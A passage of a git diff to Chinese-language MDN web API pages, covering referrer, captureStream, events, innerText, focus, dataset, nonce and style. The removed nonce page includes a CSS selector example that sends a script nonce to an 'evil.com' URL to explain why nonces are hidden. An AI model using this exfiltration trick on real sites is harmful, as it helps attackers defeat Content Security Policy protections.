Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("42.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("42.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

[1] 该特性目前默认为关闭状态,请通过将 network.http.enablePerElementReferrer 选项设置为 true 来开启。

-
- -

相关链接

- - diff --git a/files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html b/files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html new file mode 100644 index 0000000000..b3e30b3fe2 --- /dev/null +++ b/files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html @@ -0,0 +1,116 @@ +--- +title: HTMLAnchorElement.referrer +slug: Web/API/HTMLAnchorElement/referrer +translation_of: Web/API/HTMLAnchorElement/referrerPolicy +--- +
{{APIRef}}{{SeeCompatTable}}
+ +

HTMLAnchorElement.referrer 属性对应于 HTML 中 {{HTMLElement("a")}} 标签的 {{htmlattrxref("referrer","a")}} 属性,它可以控制用户在点击这个链接时所发出的 HTTP 请求的 Referer 请求头的值。

+ +

语法

+ +
refStr = anchorElt.referrer;
+anchorElt.referrer = refStr;
+ +

属性值

+ +
+
+
    +
  • "no-referrer" 意味着不要发送 Referer 请求头。
  • +
  • "origin"  意味着所发送的 Referer 请求头的值为当前页面的源,即 location.origin 的值。
  • +
  • "unsafe-url" 意味着所发送的 Referrer 请求头的值为当前页面完整的 url(即 location.href)去掉尾部的哈希(即 location.hash)之后的值。正如该选项的名字所言(unsafe),此选项是不安全的,它可以将一个 HTTPS 页面的路径信息透露给第三方。
  • +
+
+
+ +

示例

+ +
var elt = document.createElement("a");
+var linkText = document.createTextNode("My link");
+elt.appendChild(linkText);
+elt.href = "https://developer.mozilla.org/en-US/";
+elt.referrer = "no-referrer";
+
+var div = document.getElementById("divAround");
+div.appendChild(elt); // 点击该链接接时不会发送 Referer 请求头
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}{{Spec2('Referrer Policy')}}Added the referrer attribute.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}} +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("42.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("42.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 该特性目前默认为关闭状态,请通过将 network.http.enablePerElementReferrer 选项设置为 true 来开启。

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html b/files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html new file mode 100644 index 0000000000..999485b6f6 --- /dev/null +++ b/files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html @@ -0,0 +1,122 @@ +--- +title: HTMLCanvasElement.captureStream() +slug: Web/API/HTMLCanvasElement/捕获流 +translation_of: Web/API/HTMLCanvasElement/captureStream +--- +
{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}
+ +

HTMLCanvasElement.captureStream() 方法返回的 {{domxref("CanvasCaptureMediaStream")}} 是一个实时视频捕获的画布。

+ +

语法

+ +
MediaStream = canvas.captureStream(frameRate);
+
+ +

参数

+ +
+
frameRate 可选
+
设置双精准度浮点值为每个帧的捕获速率。如果未设置,则每次画布更改时都会捕获一个新帧。如果设置为0,则会捕获单个帧。
+
+ +

返回值

+ +

对一个 {{domxref("MediaStream")}} 对象的引用.

+ +

例子

+ +
//获取所需要截取媒体流的canvas element
+var canvasElt = document.querySelector('canvas');
+
+//截取到媒体流
+var stream = canvasElt.captureStream(25); // 25 FPS
+
+//使用媒体流
+// E.g.使用RTCPeerConnection来传输给其它的电脑
+// 下面的pc是其他地方创建的一个RTCPeerConnection
+pc.addStream(stream);
+
+ +

产品规格

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#widl-HTMLCanvasElement-captureStream-CanvasCaptureMediaStream-double-frameRate', 'HTMLCanvasElement.captureStream()')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(51.0)}}{{CompatGeckoDesktop(43)}}[1]{{CompatNo}}{{CompatOpera(36.0)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome(51.0)}}{{CompatChrome(51.0)}}{{CompatGeckoMobile(43)}}{{CompatNo}}{{CompatOpera(38)}}{{CompatUnknown}}
+
+ +

[1] 在Firefox 41和42中,此功能默认是禁用的; 将首选项 canvas.capturestream.enabled 设置 true 。

+ +

看看其他

+ + diff --git "a/files/zh-cn/web/api/htmlcanvaselement/\346\215\225\350\216\267\346\265\201/index.html" "b/files/zh-cn/web/api/htmlcanvaselement/\346\215\225\350\216\267\346\265\201/index.html" deleted file mode 100644 index 999485b6f6..0000000000 --- "a/files/zh-cn/web/api/htmlcanvaselement/\346\215\225\350\216\267\346\265\201/index.html" +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: HTMLCanvasElement.captureStream() -slug: Web/API/HTMLCanvasElement/捕获流 -translation_of: Web/API/HTMLCanvasElement/captureStream ---- -
{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}
- -

HTMLCanvasElement.captureStream() 方法返回的 {{domxref("CanvasCaptureMediaStream")}} 是一个实时视频捕获的画布。

- -

语法

- -
MediaStream = canvas.captureStream(frameRate);
-
- -

参数

- -
-
frameRate 可选
-
设置双精准度浮点值为每个帧的捕获速率。如果未设置,则每次画布更改时都会捕获一个新帧。如果设置为0,则会捕获单个帧。
-
- -

返回值

- -

对一个 {{domxref("MediaStream")}} 对象的引用.

- -

例子

- -
//获取所需要截取媒体流的canvas element
-var canvasElt = document.querySelector('canvas');
-
-//截取到媒体流
-var stream = canvasElt.captureStream(25); // 25 FPS
-
-//使用媒体流
-// E.g.使用RTCPeerConnection来传输给其它的电脑
-// 下面的pc是其他地方创建的一个RTCPeerConnection
-pc.addStream(stream);
-
- -

产品规格

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#widl-HTMLCanvasElement-captureStream-CanvasCaptureMediaStream-double-frameRate', 'HTMLCanvasElement.captureStream()')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(51.0)}}{{CompatGeckoDesktop(43)}}[1]{{CompatNo}}{{CompatOpera(36.0)}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome(51.0)}}{{CompatChrome(51.0)}}{{CompatGeckoMobile(43)}}{{CompatNo}}{{CompatOpera(38)}}{{CompatUnknown}}
-
- -

[1] 在Firefox 41和42中,此功能默认是禁用的; 将首选项 canvas.capturestream.enabled 设置 true 。

- -

看看其他

- - diff --git a/files/zh-cn/web/api/htmlelement/accesskey/index.html b/files/zh-cn/web/api/htmlelement/accesskey/index.html new file mode 100644 index 0000000000..4f76e7f784 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/accesskey/index.html @@ -0,0 +1,23 @@ +--- +title: Element.accessKey +slug: Web/API/Element/accessKey +tags: + - API接口 + - 属性 + - 需要丰富内容 +translation_of: Web/API/HTMLElement/accessKey +translation_of_original: Web/API/Element/accessKey +--- +
{{APIRef("DOM")}}
+ +
 
+ +

元素的 Element.accessKey 属性设置了这样一个按键——用户通过敲击这个键把焦点跳转到这个元素上。

+ +
+

注:  Element.accessKey 属性很少使用,因为它很容易与现代浏览器自带的快捷键冲突。为了解决这个问题,浏览器约定accessKey键与特定按键一起按(比如 Alt + accessKey)来生效快捷键行为。

+
+ +

 

+ +

 

diff --git a/files/zh-cn/web/api/htmlelement/animationend_event/index.html b/files/zh-cn/web/api/htmlelement/animationend_event/index.html new file mode 100644 index 0000000000..cb701ac392 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/animationend_event/index.html @@ -0,0 +1,92 @@ +--- +title: animationend +slug: Web/Events/animationend +tags: + - Animation + - AnimationEvent + - CSS Animations + - CSS3 Animations + - Event + - Reference + - animationend +translation_of: Web/API/HTMLElement/animationend_event +--- +

animationend 事件会在一个 CSS 动画完成时触发(不包括完成前就已终止的情况,例如元素变得不可见或者动画从元素中移除)。

+ +

常规信息

+ +
+
规范
+
{{SpecName("CSS3 Animations")}}
+
接口
+
{{domxref("AnimationEvent")}}
+
是否冒泡
+
+
事件可取消
+
+
目标
+
{{domxref("Document")}}, {{domxref("Element")}}, {{domxref("Window")}}
+
默认行为
+
+
+ +

属性表

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{ReadOnlyInline}}{{domxref("EventTarget")}}事件目标(DOM 顶层目标)。
type {{ReadOnlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{ReadOnlyInline}}boolean事件是否正常冒泡?
cancelable {{ReadOnlyInline}}boolean可否取消该事件?
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}与该动画相关的 CSS 属性值。
elapsedTime {{ReadOnlyInline}}Float动画运行时长,单位为秒,与直到该事件被触发的时间相一致,不包括任何动画暂停时的时长。应等于 {{cssxref("animation-iteration-count")}} 乘以 {{cssxref("animation-duration")}} 的积,动画总活动的时长。
+ +

相关事件

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/htmlelement/animationstart_event/index.html b/files/zh-cn/web/api/htmlelement/animationstart_event/index.html new file mode 100644 index 0000000000..53929bfb0d --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/animationstart_event/index.html @@ -0,0 +1,89 @@ +--- +title: animationstart +slug: Web/Events/animationstart +tags: + - Animation + - AnimationEvent + - CSS Animations + - CSS3 Animations + - Event + - Reference + - animationstart +translation_of: Web/API/HTMLElement/animationstart_event +--- +

animationstart 事件会在 CSS 动画开始时触发。 如果有 animation-delay 延时,事件会在延迟时效过后立即触发。为负数的延时时长会致使事件被触发时事件的 elapsedTime 属性值等于该时长的绝对值(并且,相应地,动画将直接播放该时长绝对值之后的动画)。

+ +

基本信息

+ +
+
规格
+
CSS Animations
+
接口
+
AnimationEvent
+
是否冒泡
+
+
事件可取消
+
+
目标
+
Document, Element
+
默认行为
+
+
+ +

属性表

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{ReadOnlyInline}}{{domxref("EventTarget")}}事件来源(DOM 顶层目标)。
type {{ReadOnlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{ReadOnlyInline}}boolean事件是否正常冒泡?
cancelable {{ReadOnlyInline}}boolean可否取消该事件?
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}与该动画相关的 CSS 属性值。
elapsedTime {{ReadOnlyInline}}Float动画运行时长,单位为秒,与直到该事件被触发的时间相一致,不包括任何动画暂停时的时长。此值应为 0 除非 animation-delay 是一个负值,这种情况下此值为 (-1 * {{cssxref("animation-delay")}}),并且动画将直接从此值后的序列开始播放。
+ +

相关事件

+ + + +

另请参阅

+ + diff --git a/files/zh-cn/web/api/htmlelement/blur/index.html b/files/zh-cn/web/api/htmlelement/blur/index.html deleted file mode 100644 index 96452abcc0..0000000000 --- a/files/zh-cn/web/api/htmlelement/blur/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: HTMLElement.blur() -slug: Web/API/HTMLElement/blur -tags: - - API - - HTML DOM - - HTMLElement - - Method - - Reference -translation_of: Web/API/HTMLOrForeignElement/blur ---- -

{{ APIRef() }}

-

概述

-

blur方法用来移除当前元素所获得的键盘焦点.

-

语法

-
element.blur()
-
-

规范

-

blur

-

相关链接

- -

{{ languages( { "fr": "fr/DOM/element.blur", "pl": "pl/DOM/element.blur", "en": "en/DOM/element.blur" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/change_event/index.html b/files/zh-cn/web/api/htmlelement/change_event/index.html new file mode 100644 index 0000000000..6a997fc430 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/change_event/index.html @@ -0,0 +1,124 @@ +--- +title: change +slug: Web/Events/change +tags: + - Change + - HTML + - HTML DOM + - HTMLElement + - change vs. input + - 事件 + - 参考 +translation_of: Web/API/HTMLElement/change_event +--- +

{{APIRef}}

+ +

当用户更改{{HTMLElement("input")}}、{{HTMLElement("select")}}和{{HTMLElement("textarea")}} 元素的值并提交这个更改时,change 事件在这些元素上触发。和 {{domxref("HTMLElement/input_event", "input")}} 事件不一样,change 事件并不是每次元素的 value 改变时都会触发。

+ + + + + + + + + + + + + + + + + + + + +
冒泡
可取消
接口{{domxref("Event")}}
事件处理程序属性{{domxref("GlobalEventHandlers/onchange", "onchange")}}
+ +

基于表单元素的类型和用户对标签的操作的不同,change 事件触发的时机也不同:

+ + + +

示例

+ +

<select> 元素

+ +

HTML

+ +
<label>Choose an ice cream flavor:
+  <select class="ice-cream" name="ice-cream">
+    <option value="">Select One …</option>
+    <option value="chocolate">Chocolate</option>
+    <option value="sardine">Sardine</option>
+    <option value="vanilla">Vanilla</option>
+  </select>
+</label>
+
+<div class="result"></div>
+ +
body {
+  display: grid;
+  grid-template-areas: "select result";
+}
+
+select {
+  grid-area: select;
+}
+
+.result {
+  grid-area: result;
+}
+
+ +

JavaScript

+ +
const selectElement = document.querySelector('.ice-cream');
+
+selectElement.addEventListener('change', (event) => {
+  const result = document.querySelector('.result');
+  result.textContent = `You like ${event.target.value}`;
+});
+
+ +

结果

+ + + +

文本输入元素

+ +

对于一些元素,包括 <input type="text">change 事件在控件失去焦点前都不会触发。试一下在下面的输入框输入一些文字,然后点击输入框外的地方来触发事件。

+ +

HTML

+ +
<input placeholder="Enter some text" name="name"/>
+<p id="log"></p>
+ +

JavaScript

+ +
const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.addEventListener('change', updateValue);
+
+function updateValue(e) {
+  log.textContent = e.target.value;
+}
+ +

结果

+ + + +

浏览器兼容性

+ +

{{Compat("api.GlobalEventHandlers.onchange")}}

+ +

对于一些特定类型的交互是否要触发 change 事件,不同浏览器的意见并不总是一致的。例如在 {{HTMLElement("select")}} 元素中使用键盘导航在 Gecko 中不会触发 change 事件,直到用户按下 Enter 键或将焦点从 <select> 上移走(参见 {{bug("126379")}})。但从 Firefox 63(Quantum)开始,这个行为在已经在主流浏览器中达成一致。

+ +

参见

+ +

{{domxref("NetworkInformation.connection")}} fires the change event when the connection information changes.

diff --git a/files/zh-cn/web/api/htmlelement/dataset/index.html b/files/zh-cn/web/api/htmlelement/dataset/index.html deleted file mode 100644 index 63ab5f48e8..0000000000 --- a/files/zh-cn/web/api/htmlelement/dataset/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: HTMLElement.dataset -slug: Web/API/HTMLElement/dataset -tags: - - HTMLElement.dataset -translation_of: Web/API/HTMLOrForeignElement/dataset ---- -

{{ APIRef }}

- -

HTMLElement.dataset属性允许无论是在读取模式和写入模式下访问在 HTML或 DOM中的元素上设置的所有自定义数据属性(data-*)集。

- -

它是一个DOMString的映射,每个自定义数据属性的一个条目。

- -

请注意,dataset 属性本身可以被读取,但不能直接写入。相反,所有的写入必须是它的“属性”,这反过来表示数据属性。

- -

还要注意,一个HTML data-attribute 及其对应的DOM dataset.property 不共享相同的名称,但它们总是相似的:

- - - -

 

- -

自定义的数据属性名称是以 data- 开头的。 它必须要遵循 the production rule of xml names 规则,该规则是说它只可以包含字母,数字和下面的字符: dash (-), dot (.), colon (:), underscore (_)。此外不应包含ASCII 码大写字母。

- -

自定义的data 属性名称转化成 {{ domxref("DOMStringMap") }} 的键值时会遵循下面的规则:

- - - -

与此相反的转换,即将键值转换为一个属性的名称,会遵循下面的规则:

- - - -

上面规则的约束是为了保证这两种转换是正好相反的转换。

- -

例如,属性名称 data-abc-def 与键值 abcDef 相对应。

- -

语法

- -
string = element.dataset.camelCasedName;
-element.dataset.camelCasedName = string;
- -

实例

- -
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe
-</div>
-
-var el = document.querySelector('#user');
-
-// el.id == 'user'
-// el.dataset.id === '1234567890'
-// el.dataset.user === 'johndoe'
-// el.dataset.dateOfBirth === ''
-
-el.dataset.dateOfBirth = '1960-10-03'; // set the DOB.
-
-// 'someDataAttr' in el.dataset === false
-
-el.dataset.someDataAttr = 'mydata';
-// 'someDataAttr' in el.dataset === true
-
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8{{ CompatGeckoDesktop("6.0") }}1111.106
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support---------------
-
- -

 

diff --git a/files/zh-cn/web/api/htmlelement/focus/index.html b/files/zh-cn/web/api/htmlelement/focus/index.html deleted file mode 100644 index eb47aff613..0000000000 --- a/files/zh-cn/web/api/htmlelement/focus/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: HTMLElement.focus() -slug: Web/API/HTMLElement/focus -tags: - - API - - 参考 - - 方法 - - 焦点 -translation_of: Web/API/HTMLOrForeignElement/focus ---- -
{{ APIRef("HTML DOM") }}
- -

HTMLElement.focus() 方法用于设置焦点,如果被指定的元素可以获取到焦点,焦点就会被设置到该元素上。得到焦点的元素会作为键盘导航时的当前元素/基准元素,也会接收到相应的键盘事件等事件。

- -

语法

- -
element.focus(options); // Object parameter
- -

参数

- -
-
options {{optional_inline}}
-
An optional object providing options to control aspects of the focusing process. This object may contain the following property:
-
-
-
preventScroll {{optional_inline}}
-
A Boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. A value of false for preventScroll (the default) means that the browser will scroll the element into view after focusing it. If preventScroll is set to true, no scrolling will occur.
-
-
-
- -

示例

- -

将焦点设置到文本框上

- -

JavaScript

- -
focusMethod = function getFocus() {
-  document.getElementById("myTextField").focus();
-}
- -

HTML

- -
<input type="text" id="myTextField" value="Text field.">
-<p></p>
-<button type="button" onclick="focusMethod()">点这里将焦点设置到文本框上!</button>
-
- -

结果

- -

{{ EmbedLiveSample('Focus_on_a_text_field') }}

- -

将焦点设置到按钮上

- -

JavaScript

- -
focusMethod = function getFocus() {
-  document.getElementById("myButton").focus();
-}
- -

HTML

- -
<button type="button" id="myButton">Click Me!</button>
-<p></p>
-<button type="button" onclick="focusMethod()">点这里将焦点设置到按钮上!</button>
- -

结果

- -

{{ EmbedLiveSample('Focus_on_a_button') }}

- -

Focus with focusOption

- -

JavaScript

- -
focusScrollMethod = function getFocus() {
-  document.getElementById("myButton").focus({preventScroll:false});
-}
-focusNoScrollMethod = function getFocusWithoutScrolling() {
-  document.getElementById("myButton").focus({preventScroll:true});
-}
-
-
- -

HTML

- -
<button type="button" onclick="focusScrollMethod()">Click me to focus on the button!</button>
-<button type="button" onclick="focusNoScrollMethod()">Click me to focus on the button without scrolling!</button>
-
-<div id="container" style="height: 1000px; width: 1000px;">
-<button type="button" id="myButton" style="margin-top: 500px;">Click Me!</button>
-</div>
-
-
- -

结果

- -

{{ EmbedLiveSample('Focus_prevent_scroll') }}

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML5 W3C')}}
{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}{{Spec2('DOM2 HTML')}}
{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}{{Spec2('DOM1')}}
- -

备注

- - - -

浏览器兼容性

- - - -

{{Compat("api.HTMLElement.focus")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/htmlelement/innertext/index.html b/files/zh-cn/web/api/htmlelement/innertext/index.html new file mode 100644 index 0000000000..3062dda65f --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/innertext/index.html @@ -0,0 +1,92 @@ +--- +title: HTMLElement.innerText +slug: Web/API/Node/innerText +tags: + - API + - DOM + - HTMLElement + - Property + - Reference + - 参考 + - 属性 +translation_of: Web/API/HTMLElement/innerText +--- +
{{APIRef("DOM")}}
+ +

innerText 属性表示一个节点及其后代的“渲染”文本内容。 As a getter, it approximates the text the user would get if they highlighted the contents of the element with the cursor and then copied it to the clipboard.

+ +
+

Note: innerText 很容易与{{domxref("Node.textContent")}}混淆, 但这两个属性间实际上有很重要的区别. 大体来说, innerText 可操作已被渲染的内容, 而 textContent 则不会.

+
+ +

语法

+ +
var renderedText = HTMLElement.innerText;
+HTMLElement.innerText = string;
+ +

输出值

+ +

一段 {{domxref("DOMString")}} 表示一个元素中已被渲染的内容. 如果元素自身没有 被渲染 (e.g 被从文档中删除或没有在视图中显示), 这时返回值与 {{domxref("Node.textContent")}} 属性相同.

+ +

例子

+ +

这个示例对比了 innerText 和 {{domxref("Node.textContent")}}. 这时 innerText 代表的含义就像 {{htmlElement("br")}} 标签, 并且忽略了隐藏的元素.

+ +

HTML

+ +
<h3>Source element:</h3>
+<p id="source">
+  <style>#source { color: red; }</style>
+Take a look at<br>how this text<br>is interpreted
+       below.
+  <span style="display:none">HIDDEN TEXT</span>
+</p>
+<h3>Result of textContent:</h3>
+<textarea id="textContentOutput" rows="6" cols="30" readonly>...</textarea>
+<h3>Result of innerText:</h3>
+<textarea id="innerTextOutput" rows="6" cols="30" readonly>...</textarea>
+ +

JavaScript

+ +
const source = document.getElementById('source');
+const textContentOutput = document.getElementById('textContentOutput');
+const innerTextOutput = document.getElementById('innerTextOutput');
+
+textContentOutput.innerHTML = source.textContent;
+innerTextOutput.innerHTML = source.innerText;
+ +

结果

+ +

{{EmbedLiveSample("Example", 700, 450)}}

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}{{Spec2('HTML WHATWG')}}Introduced, based on the draft of the innerText specification. See whatwg/html#465 and whatwg/compat#5 for history.
+ +

浏览器兼容

+ + + +

{{Compat("api.HTMLElement.innerText")}}

+ +

此特性最初由 Internet Explorer 引入。 被所有主要的浏览器供应商(vendor)采用后,它于 2016 年正式进入 HTML 标准。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlelement/input_event/index.html b/files/zh-cn/web/api/htmlelement/input_event/index.html new file mode 100644 index 0000000000..7ee1b98ad5 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/input_event/index.html @@ -0,0 +1,157 @@ +--- +title: input +slug: Web/Events/input +tags: + - HTML DOM + - HTMLElement + - Input + - 事件 + - 参考 + - 表单 + - 输入 +translation_of: Web/API/HTMLElement/input_event +--- +

{{APIRef}}

+ +

当一个 {{HTMLElement("input")}}, {{HTMLElement("select")}}, 或 {{HTMLElement("textarea")}} 元素的 value 被修改时,会触发 input 事件。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{DOMxRef("InputEvent")}}
Event handler property{{domxref("GlobalEventHandlers.oninput")}}
+ +

input 事件也适用于启用了 {{domxref("HTMLElement.contentEditable", "contenteditable")}} 的元素,以及开启了 {{domxref("Document.designMode", "designMode")}} 的任意元素。在contenteditable 和 designMode 的情况下,事件的 target 为当前正在编辑的宿主。如果这些属性应用于多个元素上,当前正在编辑的宿主为最近的父节点不可编辑的祖先元素。

+ +

对于 type=checkboxtype=radioinput 元素,每当用户切换控件(通过触摸、鼠标或键盘)时(HTML5规范),input 事件都应该触发。然而,历史事实并非如此。请检查兼容性,或使用 {{event("change")}} 事件代替这些类型的元素。

+ +
+

注意: 每当元素的 value 改变,input 事件都会被触发。这与 {{domxref("HTMLInputElement.change_event", "change")}} 事件不同。change 事件仅当 value 被提交时触发,如按回车键,从一个 options 列表中选择一个值等。

+
+ +

示例

+ +

每当用户修改 {{HtmlElement("input")}} 元素的 value 时,这个示例会记录 value。

+ +

HTML

+ +
<input placeholder="Enter some text" name="name"/>
+<p id="values"></p>
+ +

JavaScript

+ +
const input = document.querySelector('input');
+const log = document.getElementById('values');
+
+input.addEventListener('input', updateValue);
+
+function updateValue(e) {
+  log.textContent = e.srcElement.value;
+}
+
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', "forms.html#event-input-input", "input event")}}{{Spec2('HTML WHATWG')}}
{{SpecName('DOM3 Events', "#event-type-input", "input event")}}{{Spec2('DOM3 Events')}}
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

浏览器兼容性

+ +

{{Compat("api.HTMLElement.input_event")}}

+ +
+ +

[1] 在 Gecko 12.0 {{geckoRelease("12.0")}} 之前,用户在输入法中输入时,或者 dead keys were used on Mac OS X 时,Gecko 不触发 input 事件。

+ +

[2] IE 9 在用户删除输入的文字时不触发 input 事件(例如,按 Backspace 或者删除键,或者“剪切”文字).

+ +

[3] Opera 在用户把文字拖进输入框时,不触发 input 事件。

+ +

[4] 事件 target 是光标所在的最内侧的元素。

+ +

参见

+ + + +

此外,还有一个类似的 change 事件。change 触发的频率低于 input - 它只会在用户提交更改时触发。

+ +

+ +

diff --git a/files/zh-cn/web/api/htmlelement/nonce/index.html b/files/zh-cn/web/api/htmlelement/nonce/index.html deleted file mode 100644 index b2c6c829b1..0000000000 --- a/files/zh-cn/web/api/htmlelement/nonce/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: HTMLElement.nonce -slug: Web/API/HTMLElement/nonce -tags: - - API - - nonce - - 内容安全策略 - - 实验性 - - 属性 -translation_of: Web/API/HTMLOrForeignElement/nonce ---- -

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

- -

{{domxref("HTMLElement")}} 接口的 nonce 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。

- -

在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。

- -

语法

- -
var nonce = HTMLElement.nonce
-HTMLElement.nonce = nonce
- -

访问nonce属性值

- -

以前,并不是所有的浏览器都支持 nonce IDL属性,因此在实际应用场景中,尝试使用getAttribute 作为备选:

- -
let nonce = script['nonce'] || script.getAttribute('nonce');
- -

然而,最新的浏览器版本都隐藏了 nonce 值(返回一个空值)。IDL属(script['nonce'])成为唯一的访问方式。

- -

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:

- -
script[nonce~=whatever] {
-  background: url("https://evil.com/nonce?whatever");
-}
- -

说明

- - - - - - - - - - - - - - -
说明状态注释
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初始定义
- -

支持的浏览器

- -
- - -

{{Compat("api.HTMLElement.nonce")}}

-
diff --git a/files/zh-cn/web/api/htmlelement/style/index.html b/files/zh-cn/web/api/htmlelement/style/index.html deleted file mode 100644 index 2b825c80cc..0000000000 --- a/files/zh-cn/web/api/htmlelement/style/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: HTMLElement.style -slug: Web/API/HTMLElement/style -translation_of: Web/API/ElementCSSInlineStyle/style ---- -
{{ APIRef("HTML DOM") }}
- -

HTMLElement.style 属性返回一个 CSSStyleDeclaration 对象,表示元素的 内联style 属性(attribute),但忽略任何样式表应用的属性。 通过 style 可以访问的 CSS 属性列表,可以查看 CSS Properties Reference

- -

由于 style 属性的优先级和通过style设置内联样式是一样的,并且在css层级样式中拥有最高优先级,因此在为特定的元素设置样式时很有用。

- -

设置 style 属性

- -

注意不能通过直接给style属性设置字符串(如:elt.style = "color: blue;")来设置style,因为style应被当成是只读的(尽管Firefox(Gecko), Chrome 和 Opera允许修改它),这是因为通过style属性返回的CSSStyleDeclaration对象是只读的。但是style属性本身的属性够用来设置样式。此外,通过单独的样式属性(如elt.style.color = '...')比用elt.style.cssText = '...' 或者 elt.setAttribute('style', '...')形式更加简便,除非你希望完全通过一个单独语句来设置元素的全部样式,因为通过style本身属性设置的样式不会影响到通过其他方式设置的其他css属性的样式。

- -

例子

- -
// 在单个语句中设置多个样式
